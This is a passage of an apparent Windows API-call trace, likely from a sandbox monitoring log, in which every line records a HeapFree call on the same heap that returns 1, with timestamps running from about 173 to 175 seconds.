	[0173.156] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.156] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.157] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.157] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.157] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.160] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.163] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.169] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.169] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.180] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0173.180] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.181] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0173.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.384] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.385] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.386] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.387] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.388] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.388] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.391] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.392] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.392] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.393] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.393] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.395] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.397] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.398] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.398] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.399] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.399] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.400] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.400] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.401] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.401] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.402] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.403] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.404] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.405] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.412] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.419] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.422] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.422] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.423] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.423] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.425] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.651] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.824] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.825] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.829] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0173.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0173.831] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0173.832] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0173.834] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0173.835] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0174.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0174.048] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0174.050] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0174.448] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0174.539] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.635] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0174.635] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.636] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0174.637] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0174.639] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0174.640] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0174.642] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.643] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0174.643] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0174.841] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.841] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.841] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.841] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.841] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.841] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.843] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.844] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.845] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.845] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.845] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0174.845] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0174.846] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0174.850] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0174.903] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.905] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.906] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.906] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.907] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.908] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.911] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.912] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.913] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.914] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.915] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.916] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.917] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.918] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.919] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.920] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.920] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.920] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.921] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.922] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.922] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.922] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.923] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.923] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.924] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.924] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.924] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.924] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.925] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.925] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.925] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0174.927] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0174.928] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0174.930] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.064] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0175.064] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0175.064] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.218] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.220] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.221] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.221] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.283] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.284] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.285] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.286] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.287] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.287] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.288] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.289] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.291] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.292] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.293] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.294] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.295] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.295] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.296] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.296] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.297] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.311] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.312] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.323] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.329] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.329] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.333] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.334] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.334] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.334] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0175.334] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0175.334] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x50a0058 | out: hHeap=0x5a0000) returned 1
	[0175.334] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.341] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0175.341] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
